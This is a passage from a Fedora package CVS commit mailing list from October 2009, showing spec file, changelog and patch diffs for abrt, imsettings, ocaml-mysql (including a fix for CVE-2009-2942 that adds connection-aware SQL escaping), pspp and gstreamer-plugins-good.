 %dir %{_sysconfdir}/%{name}
 %dir %{_sysconfdir}/%{name}/plugins
 %dir %{_libdir}/%{name}
-%{_mandir}/man8/%{name}.8.gz
+%{_mandir}/man8/abrtd.8.gz
 %{_mandir}/man5/%{name}.conf.5.gz
+%{_mandir}/man5/pyhook.conf.5.gz
 %{_mandir}/man7/%{name}-plugins.7.gz
 %{_datadir}/polkit-1/actions/org.fedoraproject.abrt.policy
+%{_datadir}/dbus-1/system-services/com.redhat.abrt.service
 
 %files libs
 %defattr(-,root,root,-)
@@ -354,7 +358,31 @@ fi
 %defattr(-,root,root,-)
 
 %changelog
-* Wed Sep 23 2009  jiri Moskovcak <jmoskovc at redhat.com> 0.0.9-2
+* Thu Oct 15 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.10-1
+- new version
+- added more logging (vda.linux at googlemail.com)
+- made polkit policy to be more permissive when installing debuginfo (jmoskovc at redhat.com)
+- lib/Plugins/CCpp.cpp: add build-ids to backtrace (vda.linux at googlemail.com)
+- lib/Plugins/CCpp.cpp: do not use temp file for gdb commands - use -ex CMD instead (vda.linux at googlemail.com)
+- GUI: added refresh button, added sanity check to plugin settings (jmoskovc at redhat.com)
+- Initial man page for abrt-cli (kklic at redhat.com)
+- Added --version, -V, --help, -? options. Fixed crash caused by unknown option. (kklic at redhat.com)
+- Date/time honors current system locale (kklic at redhat.com)
+- fixed saving/reading user config (jmoskovc at redhat.com)
+- SPEC: added gnome-python2-gnomekeyring to requirements (jmoskovc at redhat.com)
+- GUI: call Report() with the latest pluginsettings (jmoskovc at redhat.com)
+- Fix Bug 526220 -  [abrt] crash detected in abrt-gui-0.0.9-2.fc12 (vda.linux at googlemail.com)
+- removed unsecure reading/writting from ~HOME directory rhbz#522878 (jmoskovc at redhat.com)
+- error checking added to archive creation (danny at rawhide.localdomain)
+- try using pk-debuginfo-install before falling back to debuginfo-install (vda.linux at googlemail.com)
+- abrt-gui: make "report" toolbar button work even if abrtd is not running (vda.linux at googlemail.com)
+- set LIMIT_MESSAGE to 16k, typo fix and daemon now reads config information from dbus (npajkovs at redhat.com)
+- add support for abrtd autostart (vda.linux at googlemail.com)
+- GUI: reversed the dumplist, so the latest crashes are at the top (jmoskovc at redhat.com)
+- rewrite FileTransfer to use library calls instead of commandline calls for compression (dnovotny at redhat.com)
+- and many minor fixes ..
+
+* Wed Sep 23 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.9-2
 - added bug-buddy to provides rhbz#524934
 
 * Tue Sep 22 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.9-1


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/abrt/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	22 Sep 2009 10:11:54 -0000	1.12
+++ sources	16 Oct 2009 10:29:30 -0000	1.13
@@ -1 +1 @@
-2d668c6d53564c05b8266eadff90f2c6  abrt-0.0.9.tar.gz
+64e6a3a8516870b1e9bbd59b0d6e112b  abrt-0.0.10.tar.gz



From tagoh at fedoraproject.org  Fri Oct 16 10:30:46 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Fri, 16 Oct 2009 10:30:46 +0000 (UTC)
Subject: rpms/imsettings/F-12 imsettings-constraint-of-language.patch, 1.3, 
	1.4 imsettings.spec, 1.43, 1.44
Message-ID: <20091016103046.6145A11C0296@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/imsettings/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14303

Modified Files:
	imsettings-constraint-of-language.patch imsettings.spec 
Log Message:
* Fri Oct 16 2009 Akira TAGOH <tagoh at redhat.com> - 0.107.4-2
- Run IM for Mailthili by default. (#529144)

imsettings-constraint-of-language.patch:
 xinput.sh.in.in |   15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

Index: imsettings-constraint-of-language.patch
===================================================================
RCS file: /cvs/pkgs/rpms/imsettings/F-12/imsettings-constraint-of-language.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- imsettings-constraint-of-language.patch	10 Mar 2009 10:13:19 -0000	1.3
+++ imsettings-constraint-of-language.patch	16 Oct 2009 10:30:46 -0000	1.4
@@ -7,7 +7,7 @@ diff -pruN imsettings-0.106.0.1.orig/dat
  elif [ -r "$SYS_XINPUTRC" ]; then
 -    source "$SYS_XINPUTRC"
 +    # FIXME: This hardcoded list has to be gone in the future.
-+    _language_list="as bn gu hi ja kn ko ml mr ne or pa si ta te th ur vi zh"
++    _language_list="as bn gu hi ja kn ko mai ml mr ne or pa si ta te th ur vi zh"
 +    _sourced_xinputrc=0
 +    for i in $_language_list; do
 +        if echo $tmplang | grep -q -E "^$i"; then


Index: imsettings.spec
===================================================================
RCS file: /cvs/pkgs/rpms/imsettings/F-12/imsettings.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- imsettings.spec	28 Sep 2009 12:50:02 -0000	1.43
+++ imsettings.spec	16 Oct 2009 10:30:46 -0000	1.44
@@ -1,6 +1,6 @@
 Name:		imsettings
 Version:	0.107.4
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:	LGPLv2+
 URL:		http://code.google.com/p/imsettings/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -211,6 +211,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Akira TAGOH <tagoh at redhat.com> - 0.107.4-2
+- Run IM for Mailthili by default. (#529144)
+
 * Mon Sep 28 2009 Akira TAGOH <tagoh at redhat.com> - 0.107.4-1
 - New upstream release.
   - Update the translations.



From rjones at fedoraproject.org  Fri Oct 16 10:43:32 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:43:32 +0000 (UTC)
Subject: rpms/ocaml-mysql/devel
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch, NONE,
	1.1 ocaml-mysql.spec, 1.10, 1.11
Message-ID: <20091016104332.3D92A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-mysql/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17694

Modified Files:
	ocaml-mysql.spec 
Added Files:
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-11
- Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).


ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch:
 mysql.ml      |   18 ++++++++++++------
 mysql.mli     |    5 +++++
 mysql_stubs.c |   27 +++++++++++++++++++++++++++
 3 files changed, 44 insertions(+), 6 deletions(-)

--- NEW FILE ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch ---
diff -ur ocaml-mysql-1.0.4.orig/mysql.ml ocaml-mysql-1.0.4/mysql.ml
--- ocaml-mysql-1.0.4.orig/mysql.ml	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.ml	2009-10-16 11:42:08.074508283 +0100
@@ -333,6 +333,7 @@
 external real_status     : dbd -> int                         = "db_status"
 external errmsg     : dbd -> string option                  = "db_errmsg"
 external escape     : string -> string                      = "db_escape"
+external real_escape: dbd -> string -> string               = "db_real_escape"
 external fetch      : result -> string option array option  = "db_fetch" 
 external to_row     : result -> int64 -> unit                 = "db_to_row"
 external size       : result -> int64                         = "db_size"
@@ -516,7 +517,9 @@
    the corresponding type *)
   
 let ml2str str  = "'" ^ escape str ^ "'"
+let ml2rstr conn str = "'" ^ real_escape conn str ^ "'"
 let ml2blob     = ml2str
+let ml2rblob    = ml2rstr
 let ml2int x    = string_of_int x
 let ml2decimal x    = x
 let ml322int x  = Int32.to_string x
@@ -524,12 +527,15 @@
 let mlnative2int x = Nativeint.to_string x
 let ml2float x  = string_of_float x
 let ml2enum x   = escape x
-let ml2set x    = let rec loop arg = match arg with
-                    | []        -> ""
-                    | [x]       -> escape x
-                    | x::y::ys  -> escape x ^ "," ^ loop (y::ys)
-                  in
-                    loop x  
+let ml2renum x  = real_escape x
+let ml2set_filter f x =
+  let rec loop f = function
+  | []        -> ""
+  | [x]       -> f x
+  | x::y::ys  -> f x ^ "," ^ loop f (y::ys)
+  in loop f x
+let ml2set x       = ml2set_filter escape x
+let ml2rset conn x = ml2set_filter (real_escape conn) x
 
 let ml2datetimel ~year ~month ~day ~hour ~min ~sec =
     Printf.sprintf "'%04d-%02d-%02d %02d:%02d:%02d'"
diff -ur ocaml-mysql-1.0.4.orig/mysql.mli ocaml-mysql-1.0.4/mysql.mli
--- ocaml-mysql-1.0.4.orig/mysql.mli	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.mli	2009-10-16 11:42:08.075507981 +0100
@@ -230,6 +230,7 @@
 (** [escape str] returns the same string as [str] in MySQL syntax with
   special characters quoted to not confuse the MySQL parser *)
 val escape : string -> string 
+val real_escape : dbd -> string -> string
 
 (** [xxx2ml str] decodes a MySQL value of type xxx into a corresponding
   OCaml value *)
@@ -277,14 +278,18 @@
 (** [ml2xxx v] encodes [v] into MySQL syntax. *)
 
 val ml2str          : string -> string
+val ml2rstr         : dbd -> string -> string
 val ml2blob         : string -> string
+val ml2rblob        : dbd -> string -> string
 val ml2int          : int -> string
 val ml2decimal      : string -> string
 val ml322int        : int32 -> string
 val ml642int        : int64 -> string
 val ml2float        : float -> string
 val ml2enum         : string -> string
+val ml2renum        : dbd -> string -> string
 val ml2set          : string list -> string
+val ml2rset         : dbd -> string list -> string
 val ml2datetime     : int * int * int * int * int * int -> string
 val ml2datetimel    : year:int -> month:int -> day:int -> hour:int -> min:int -> sec:int -> string
 val ml2date         : int * int * int -> string
diff -ur ocaml-mysql-1.0.4.orig/mysql_stubs.c ocaml-mysql-1.0.4/mysql_stubs.c
--- ocaml-mysql-1.0.4.orig/mysql_stubs.c	2006-02-23 23:12:36.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql_stubs.c	2009-10-16 11:42:08.076508492 +0100
@@ -472,6 +472,33 @@
   CAMLreturn(res);
 }
 
+EXTERNAL value
+db_real_escape(value dbd, value str)
+{
+  CAMLparam2(dbd, str);
+  char *s;
+  char *buf;
+  int len, esclen;
+  MYSQL *mysql;
+  CAMLlocal1(res);
+
+  check_dbd(dbd, "escape");
+  mysql = DBDmysql(dbd);
+
+  s = String_val(str);
+  len = string_length(str);
+  buf = (char*) stat_alloc(2*len+1);
+  caml_enter_blocking_section();
+  esclen = mysql_real_escape_string(mysql,buf,s,len);
+  caml_leave_blocking_section();
+
+  res = alloc_string(esclen);
+  memcpy(String_val(res), buf, esclen);
+  stat_free(buf);
+
+  CAMLreturn(res);
+}
+
 /*
  * db_size -- returns the size of the current result (number of rows).
  */


Index: ocaml-mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-mysql/devel/ocaml-mysql.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ocaml-mysql.spec	25 Jul 2009 20:00:13 -0000	1.10
+++ ocaml-mysql.spec	16 Oct 2009 10:43:31 -0000	1.11
@@ -3,7 +3,7 @@
 
 Name:           ocaml-mysql
 Version:        1.0.4
-Release:        10%{?dist}
+Release:        11%{?dist}
 Summary:        OCaml library for accessing MySQL databases
 
 Group:          Development/Libraries
@@ -13,6 +13,8 @@ Source0:        http://raevnos.pennmush.
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
 
+Patch0:         ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch
+
 BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
@@ -46,6 +48,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
+%patch0 -p1
 ./configure --libdir=%{_libdir}
 
 
@@ -97,6 +100,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-11
+- Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From peter at fedoraproject.org  Fri Oct 16 10:43:36 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri, 16 Oct 2009 10:43:36 +0000 (UTC)
Subject: rpms/pspp/devel .cvsignore, 1.3, 1.4 import.log, 1.1, 1.2 pspp.spec,
	1.10, 1.11 sources, 1.3, 1.4
Message-ID: <20091016104336.3F35911C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pspp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17749/devel

Modified Files:
	.cvsignore import.log pspp.spec sources 
Log Message:
Ver. 0.6.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	28 Nov 2008 10:08:38 -0000	1.3
+++ .cvsignore	16 Oct 2009 10:43:35 -0000	1.4
@@ -1,2 +1,2 @@
-pspp-0.6.1.tar.gz
 pspp.svg
+pspp-0.6.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	16 Jun 2008 16:39:21 -0000	1.1
+++ import.log	16 Oct 2009 10:43:36 -0000	1.2
@@ -1 +1,2 @@
 pspp-0_6_0-5_fc9:HEAD:pspp-0.6.0-5.fc9.src.rpm:1213634212
+pspp-0_6_2-1_fc11:HEAD:pspp-0.6.2-1.fc11.src.rpm:1255689779


Index: pspp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/devel/pspp.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- pspp.spec	26 Jul 2009 19:35:27 -0000	1.10
+++ pspp.spec	16 Oct 2009 10:43:36 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           pspp
-Version:        0.6.1
-Release:        4%{?dist}
+Version:        0.6.2
+Release:        1%{?dist}
 Summary:        A program for statistical analysis of sampled data
 
 Group:          Applications/Engineering
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/fedora-psppire.desktop
 
 %changelog
+* Fri Oct 16 2009 Peter Lemenkov <lemenkov at gmail.com> 0.6.2-1
+- Ver. 0.6.2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	28 Nov 2008 10:08:38 -0000	1.3
+++ sources	16 Oct 2009 10:43:36 -0000	1.4
@@ -1,2 +1,2 @@
-b871739200938820d8db898cd200ed06  pspp-0.6.1.tar.gz
 dd45ec2c8ce83b06c74c9f4461776322  pspp.svg
+03080eb9e3ffeb03f18bc925fcd83fcb  pspp-0.6.2.tar.gz



From hadess at fedoraproject.org  Fri Oct 16 10:44:45 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Fri, 16 Oct 2009 10:44:45 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/devel autoconvert-fix-caps.patch, NONE, 
	1.1 gstreamer-plugins-good.spec, 1.103, 1.104
Message-ID: <20091016104445.D8CF811C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18188

Modified Files:
	gstreamer-plugins-good.spec 
Added Files:
	autoconvert-fix-caps.patch 
Log Message:
* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
- Fix autoconvert caps negotiation


autoconvert-fix-caps.patch:
 gstautoconvert.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE autoconvert-fix-caps.patch ---
>From 76d3a625dad9dc3e655e0272434caf42f787098f Mon Sep 17 00:00:00 2001
From: Jan Schmidt <thaytan at noraisin.net>
Date: Fri, 16 Oct 2009 01:26:10 +0100
Subject: [PATCH] autoconvert: Use gst_pad_peer_accept_caps instead of gst_pad_set_caps.

gst_pad_set_caps on the internal source pad always succeeds, because
caps propagate to the peer with buffers, not immediately. Using
gst_pad_peer_accept_caps properly checks whether the actual
sub-element can accept caps when they change.

https://bugzilla.gnome.org/show_bug.cgi?id=575568
---
 gst/autoconvert/gstautoconvert.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/farsight/autoconvert/gstautoconvert.c b/gst/autoconvert/gstautoconvert.c
index 39b9c78..4675c41 100644
--- a/farsight/autoconvert/gstautoconvert.c
+++ b/farsight/autoconvert/gstautoconvert.c
@@ -692,7 +692,7 @@ gst_auto_convert_sink_setcaps (GstPad * pad, GstCaps * caps)
 
   subelement = gst_auto_convert_get_subelement (autoconvert);
   if (subelement) {
-    if (gst_pad_set_caps (autoconvert->current_internal_srcpad, caps)) {
+    if (gst_pad_peer_accept_caps (autoconvert->current_internal_srcpad, caps)) {
       /* If we can set the new caps on the current element,
        * then we just get out
        */
@@ -777,7 +777,7 @@ gst_auto_convert_sink_setcaps (GstPad * pad, GstCaps * caps)
         internal_sinkpad_quark);
 
     /* Now we check if the element can really accept said caps */
-    if (!gst_pad_set_caps (internal_srcpad, caps)) {
+    if (!gst_pad_peer_accept_caps (internal_srcpad, caps)) {
       GST_DEBUG_OBJECT (autoconvert, "Could not set %s:%s to %" GST_PTR_FORMAT,
           GST_DEBUG_PAD_NAME (internal_srcpad), caps);
       goto next_element;
-- 
1.6.0.4


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/gstreamer-plugins-good.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- gstreamer-plugins-good.spec	1 Sep 2009 17:00:42 -0000	1.103
+++ gstreamer-plugins-good.spec	16 Oct 2009 10:44:45 -0000	1.104
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	1%{?dist}
+Release:  	2%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -67,6 +67,8 @@ Obsoletes: gstreamer-plugins-pulse < 0.9
 
 # farsight plugins
 Patch0: 0001-Move-farsight-plugins-from-bad-to-good.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=575568#c22
+Patch1: autoconvert-fix-caps.patch
 BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
@@ -106,6 +108,7 @@ This is a dummy package to make gstreame
 
 # Farsight plugins
 %patch0 -p1 -b .farsight
+%patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
 
@@ -271,6 +274,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
+- Fix autoconvert caps negotiation
+
 * Tue Sep 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-1
 - Update to 0.10.16
 



From peter at fedoraproject.org  Fri Oct 16 10:45:31 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri, 16 Oct 2009 10:45:31 +0000 (UTC)
Subject: rpms/pspp/F-12 .cvsignore, 1.3, 1.4 import.log, 1.1, 1.2 pspp.spec, 
	1.10, 1.11 sources, 1.3, 1.4
Message-ID: <20091016104531.A1A4211C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pspp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18404/F-12

Modified Files:
	.cvsignore import.log pspp.spec sources 
Log Message:
Ver. 0.6.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	28 Nov 2008 10:08:38 -0000	1.3
+++ .cvsignore	16 Oct 2009 10:45:31 -0000	1.4
@@ -1,2 +1,2 @@
-pspp-0.6.1.tar.gz
 pspp.svg
+pspp-0.6.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	16 Jun 2008 16:39:21 -0000	1.1
+++ import.log	16 Oct 2009 10:45:31 -0000	1.2
@@ -1 +1,2 @@
 pspp-0_6_0-5_fc9:HEAD:pspp-0.6.0-5.fc9.src.rpm:1213634212
+pspp-0_6_2-1_fc11:F-12:pspp-0.6.2-1.fc11.src.rpm:1255689875


Index: pspp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-12/pspp.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- pspp.spec	26 Jul 2009 19:35:27 -0000	1.10
+++ pspp.spec	16 Oct 2009 10:45:31 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           pspp
-Version:        0.6.1
-Release:        4%{?dist}
+Version:        0.6.2
+Release:        1%{?dist}
 Summary:        A program for statistical analysis of sampled data
 
 Group:          Applications/Engineering
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/fedora-psppire.desktop
 
 %changelog
+* Fri Oct 16 2009 Peter Lemenkov <lemenkov at gmail.com> 0.6.2-1
+- Ver. 0.6.2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	28 Nov 2008 10:08:38 -0000	1.3
+++ sources	16 Oct 2009 10:45:31 -0000	1.4
@@ -1,2 +1,2 @@
-b871739200938820d8db898cd200ed06  pspp-0.6.1.tar.gz
 dd45ec2c8ce83b06c74c9f4461776322  pspp.svg
+03080eb9e3ffeb03f18bc925fcd83fcb  pspp-0.6.2.tar.gz



From peter at fedoraproject.org  Fri Oct 16 10:46:21 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri, 16 Oct 2009 10:46:21 +0000 (UTC)
Subject: rpms/pspp/F-11 .cvsignore, 1.3, 1.4 import.log, 1.1, 1.2 pspp.spec, 
	1.9, 1.10 sources, 1.3, 1.4
Message-ID: <20091016104621.44F2F11C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pspp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18844/F-11

Modified Files:
	.cvsignore import.log pspp.spec sources 
Log Message:
Ver. 0.6.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	28 Nov 2008 10:08:38 -0000	1.3
+++ .cvsignore	16 Oct 2009 10:46:21 -0000	1.4
@@ -1,2 +1,2 @@
-pspp-0.6.1.tar.gz
 pspp.svg
+pspp-0.6.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	16 Jun 2008 16:39:21 -0000	1.1
+++ import.log	16 Oct 2009 10:46:21 -0000	1.2
@@ -1 +1,2 @@
 pspp-0_6_0-5_fc9:HEAD:pspp-0.6.0-5.fc9.src.rpm:1213634212
+pspp-0_6_2-1_fc11:F-11:pspp-0.6.2-1.fc11.src.rpm:1255689949


Index: pspp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-11/pspp.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- pspp.spec	22 Mar 2009 22:14:30 -0000	1.9
+++ pspp.spec	16 Oct 2009 10:46:21 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           pspp
-Version:        0.6.1
-Release:        3%{?dist}
+Version:        0.6.2
+Release:        1%{?dist}
 Summary:        A program for statistical analysis of sampled data
 
 Group:          Applications/Engineering
@@ -88,6 +88,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/fedora-psppire.desktop
 
 %changelog
+* Fri Oct 16 2009 Peter Lemenkov <lemenkov at gmail.com> 0.6.2-1
+- Ver. 0.6.2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.1-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Mar 22 2009 Mat?j Cepl <mcepl at redhat.com> - 0.6.1-3
 - Make .so symlink to versioned libraries -- shouldn't be needed
   but helps to fix bug 471180


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pspp/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	28 Nov 2008 10:08:38 -0000	1.3
+++ sources	16 Oct 2009 10:46:21 -0000	1.4
@@ -1,2 +1,2 @@
-b871739200938820d8db898cd200ed06  pspp-0.6.1.tar.gz
 dd45ec2c8ce83b06c74c9f4461776322  pspp.svg
+03080eb9e3ffeb03f18bc925fcd83fcb  pspp-0.6.2.tar.gz



From rjones at fedoraproject.org  Fri Oct 16 10:46:41 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 10:46:41 +0000 (UTC)
Subject: rpms/ocaml-mysql/F-12
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch, NONE,
	1.1 ocaml-mysql.spec, 1.10, 1.11
Message-ID: <20091016104641.146A911C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-mysql/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19017

Modified Files:
	ocaml-mysql.spec 
Added Files:
	ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch 
Log Message:
Patch for CVE 2009-2942 Missing escape function (RHBZ#529321).

ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch:
 mysql.ml      |   18 ++++++++++++------
 mysql.mli     |    5 +++++
 mysql_stubs.c |   27 +++++++++++++++++++++++++++
 3 files changed, 44 insertions(+), 6 deletions(-)

--- NEW FILE ocaml-mysql-1.0.4-CVE-2009-2942-missing-escape.patch ---
diff -ur ocaml-mysql-1.0.4.orig/mysql.ml ocaml-mysql-1.0.4/mysql.ml
--- ocaml-mysql-1.0.4.orig/mysql.ml	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.ml	2009-10-16 11:42:08.074508283 +0100
@@ -333,6 +333,7 @@
 external real_status     : dbd -> int                         = "db_status"
 external errmsg     : dbd -> string option                  = "db_errmsg"
 external escape     : string -> string                      = "db_escape"
+external real_escape: dbd -> string -> string               = "db_real_escape"
 external fetch      : result -> string option array option  = "db_fetch" 
 external to_row     : result -> int64 -> unit                 = "db_to_row"
 external size       : result -> int64                         = "db_size"
@@ -516,7 +517,9 @@
    the corresponding type *)
   
 let ml2str str  = "'" ^ escape str ^ "'"
+let ml2rstr conn str = "'" ^ real_escape conn str ^ "'"
 let ml2blob     = ml2str
+let ml2rblob    = ml2rstr
 let ml2int x    = string_of_int x
 let ml2decimal x    = x
 let ml322int x  = Int32.to_string x
@@ -524,12 +527,15 @@
 let mlnative2int x = Nativeint.to_string x
 let ml2float x  = string_of_float x
 let ml2enum x   = escape x
-let ml2set x    = let rec loop arg = match arg with
-                    | []        -> ""
-                    | [x]       -> escape x
-                    | x::y::ys  -> escape x ^ "," ^ loop (y::ys)
-                  in
-                    loop x  
+let ml2renum x  = real_escape x
+let ml2set_filter f x =
+  let rec loop f = function
+  | []        -> ""
+  | [x]       -> f x
+  | x::y::ys  -> f x ^ "," ^ loop f (y::ys)
+  in loop f x
+let ml2set x       = ml2set_filter escape x
+let ml2rset conn x = ml2set_filter (real_escape conn) x
 
 let ml2datetimel ~year ~month ~day ~hour ~min ~sec =
     Printf.sprintf "'%04d-%02d-%02d %02d:%02d:%02d'"
diff -ur ocaml-mysql-1.0.4.orig/mysql.mli ocaml-mysql-1.0.4/mysql.mli
--- ocaml-mysql-1.0.4.orig/mysql.mli	2006-02-23 22:13:22.000000000 +0000
+++ ocaml-mysql-1.0.4/mysql.mli	2009-10-16 11:42:08.075507981 +0100
@@ -230,6 +230,7 @@
 (** [escape str] returns the same string as [str] in MySQL syntax with
   special characters quoted to not confuse the MySQL parser *)
 val escape : string -> string 
+val real_escape : dbd -> string -> string
 
 (** [xxx2ml str] decodes a MySQL value of type xxx into a corresponding
   OCaml value *)
@@ -277,14 +278,18 @@
